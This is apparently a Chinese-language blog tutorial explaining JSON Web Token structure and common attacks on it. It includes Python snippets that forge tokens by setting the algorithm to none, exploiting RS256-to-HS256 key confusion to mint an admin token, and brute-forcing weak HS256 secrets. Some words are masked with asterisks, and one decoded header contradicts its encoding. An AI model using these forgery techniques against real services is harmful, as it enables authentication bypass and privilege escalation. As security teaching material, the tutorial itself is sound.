JSON WEB TOKEN-----jwt
一,JWT介绍
JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案。是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
二,JWT的原理
服务器认证后,生成一个JSON对象,发回给用户。就像下面一样。
{
“姓名”:“FFM-G”,
“时间”:“2019年5月”
}
三:JWT的数据结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ.wBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k
上面这个就是一个JWT。他是一个很长的字符串,一共分为三部分,每部分用(.
)分割。
三部分依次如下:
- header(头部)
- payload(负载)
- Signature(签名)
也就是说Header.Payload.Signature
jwt 解码https://jwt.io/
第一部分,头部headereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
"alg": "RS256",
"typ": "JWT"
}
alg表示签名的算法,默认为HS256,或者是RSA
typ表示token的类型。
对header部分进行base64url编码,编码后就是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
第二部分:负载payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ
{
"name": "Poooo",
"priv": "admin"
}
可见可以看到用户名和用户,因此不要在jwt中的header和payload中放置敏感的信息,除非他们本身是加密的。
对payload部分进行base64url编码,编码后就是payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ
第三部分:签名signaturewBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k
Signature 部分是 对前两部分 的 签名,目的是:防止数据篡改。
首先,需要指定一个**(secret)。这个**只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。
base64url:这个编码其实和base64大体上并没有多少变化,只是有时token会在url中传输,例如:www.xxxx.com?token=xxxx 因为base64中的+
=
/
会在url中有特殊的含义,所以要进行替换。=
会被省略 +
替换为 -
,/
替换为 _
。这就是base64url编码。
四:攻击jwt
1,敏感信息泄露
因为jwt是明文传输,所以payload容易存在敏感信息泄露。
2,修改算法为none
签名算法是为了后端进行签名校验,所以修改alg
算法为none,后端就不会进行签名校验。直接可以将token中的signaturn数据(只留下header+’.’+payload+’.’)提交到服务器即可。
这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
案例如下:
import jwt
import base64
# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
结果如下:
3,修改算法RS256为HS256
算法RS256是非对称算法,所以使用私钥对信息进行签名,使用公钥进行验证。
算法HS256是对称算法,只需要使用秘***对每条信息进行签名和验证。
案例如下:
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘***,然后使用HS256算法验证签名,从而伪造token通过验证。
import jwt
import base64
public = open('pubkey.txt', 'r').read() #pubkey.txt为公钥
print jwt.encode({"name": "Poooo","priv": "admin"}, key=public, algorithm='HS256')
4,HS256(对称加密)****
如果HS256**强度较弱,可以直接暴力**,如PyJWT库样例代码中使用secret字符串当做**
那么暴力猜解**,当**正确则解密成功,**错误解密代码抛出异常
可使用PyJWT或 John Ripper进行**测试
PyJWT库 https://github.com/jpadilla/pyjwt
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}
参考:https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
http://www.cnblogs.com/dliv3/p/7450057.html